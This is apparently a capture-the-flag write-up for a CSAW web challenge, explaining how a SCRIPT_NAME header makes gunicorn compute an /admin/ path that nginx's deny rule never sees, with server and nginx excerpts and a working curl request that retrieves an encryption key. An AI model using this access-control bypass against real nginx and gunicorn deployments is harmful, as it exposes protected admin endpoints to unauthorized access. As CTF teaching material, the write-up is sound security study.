Details
- Category : web
- Points : 395
- Solves : 133
Description
My previous flag file got encrypted by some dumb ransomware. They didn’t even tell me how to pay them, so I’m totally out of luck. All I have is the site that is supposed to decrypt my files (but obviously that doesn’t work either).
http://web.chal.csaw.io:5004
Sources files :
$ ls -lR
.:
total 16
-rw-rw-r-- 1 enoent enoent 329 sept. 10 02:21 Dockerfile
-rw-r--r-- 1 enoent enoent 74 sept. 3 19:32 flag.txt.enc
drwxr-xr-x 3 enoent enoent 4096 sept. 3 19:32 server
-rw-rw-r-- 1 enoent enoent 251 sept. 10 01:59 supervisord.conf
./server:
total 12
-rw-r--r-- 1 enoent enoent 1670 sept. 10 02:09 server.py
-rwxr-xr-x 1 enoent enoent 1246 sept. 10 02:09 setup.sh
drwxr-xr-x 2 enoent enoent 4096 sept. 3 19:32 templates
./server/templates:
total 4
-rw-r--r-- 1 enoent enoent 2876 sept. 3 19:32 index.html
Understanding the problem
We have access to a web interface where we can upload our encrypted files for decryption.
Only users who have paid the ransom will get their files decrypted, so uploading the encrypted flag doesn’t work, obviously.
Each file is encrypted with a different key, identified through a key ID :
def get_info():
= request.headers.get('key_id')
key if not key:
400, 'Missing key id')
abort(if not all(c in '0123456789ABCDEFabcdef'
for c in key):
400, 'Invalid key id format')
abort(= os.path.join('/server/keys',key)
path if not os.path.exists(path):
401, 'Unknown encryption key id')
abort(with open(path,'r') as f:
return json.load(f)
If we look at the source code of the server, we see that we can recover the encryption key by sending a GET request to a specific endpoint :
# === CL Review Comments - 5a7b3f
# <Alex> Is this safe?
# <Brad> Yes, because we have `deny all` in nginx.
# <Alex> Are you sure there won't be any way to get around it?
# <Brad> Here, I wrote a better description in the nginx config, hopefully that will help
# <Brad> Plus we had our code audited after they stole our coins last time
# <Alex> What about dependencies?
# <Brad> You are over thinking it. no one is going to be looking. everyone we encrypt is so bad at security they would never be able to find a bug in a library like that
# ===
@app.route('/admin/key')
def get_key():
return jsonify(key=get_info()['key'])
However, access this endpoint directly results in an 403 - Forbidden error :
server {
listen 80;
underscores_in_headers on;
location / {
include proxy_params;
# Nginx uses the WSGI protocol to transmit the request to gunicorn through the domain socket
# We do this so the network can't connect to gunicorn directly, only though nginx
proxy_pass http://unix:/tmp/gunicorn.sock;
proxy_pass_request_headers on;
# INFO(brad)
# Thought I would explain this to clear it up:
# When we make a request, nginx forwards the request to gunicorn.
# Gunicorn then reads the request and calculates the path (which is put into the WSGI variable `path_info`)
#
# We can prevent nginx from forwarding any request starting with "/admin/". If we do this
# there is no way for gunicorn to send flask a `path_info` which starts with "/admin/"
# Thus any flask route starting with /admin/ should be safe :)
location ^~ /admin/ {
deny all;
}
}
}
By judging from the comments we found in the source files, we have to find a way to make gunicorn return path_info="/admin/key"
without sending an URL with a path starting with /admin/
.
Solving the problem
From the provided dockerfile we know that gunicorn and nginx are in their latest version, which is wierd. The challenge’s author wouldn’t ask us to find a 0-day in gunicorn, so it must be a “feature”.
Looking for path_info
references in the source code of gunicorn, we find the following extract :
# set the path and script name
= req.path
path_info if script_name:
= path_info.split(script_name, 1)[1]
path_info 'PATH_INFO'] = util.unquote_to_wsgi_str(path_info)
environ['SCRIPT_NAME'] = script_name environ[
If the SCRIPT_NAME
header is defined, the path_info
variable is the portion of the path located after the content of this header.
If we set script_name="p"
and query /p/admin/
, the result will be path_info="/admin/"
!
This requires however to allow underscores in header names and that the headers are forwarded to gunicorn, both of which are set to on
in the nginx configuration file.
The last thing we need to do is recover the key ID linked to the encrypted flag. This can easily be done by asking for the decryption of the flag and looking at the request headers :
key_id: 05d1dc92ce82cc09d9d7ff1ac9d5611d
Implementing the solution
The only thing to do now is to send the following GET request :
$ curl -H "key_id: 05d1dc92ce82cc09d9d7ff1ac9d5611d" -H "SCRIPT_NAME: p" http://web.chal.csaw.io:5004/p/admin/key
{"key":"b5082f02fd0b6a06203e0a9ffb8d7613dd7639a67302fc1f357990c49a6541f3"}
With the key in hand, we have everything needed to decrypt the flag.
Flag : flag{gunicorn_probably_should_not_do_that}
Our news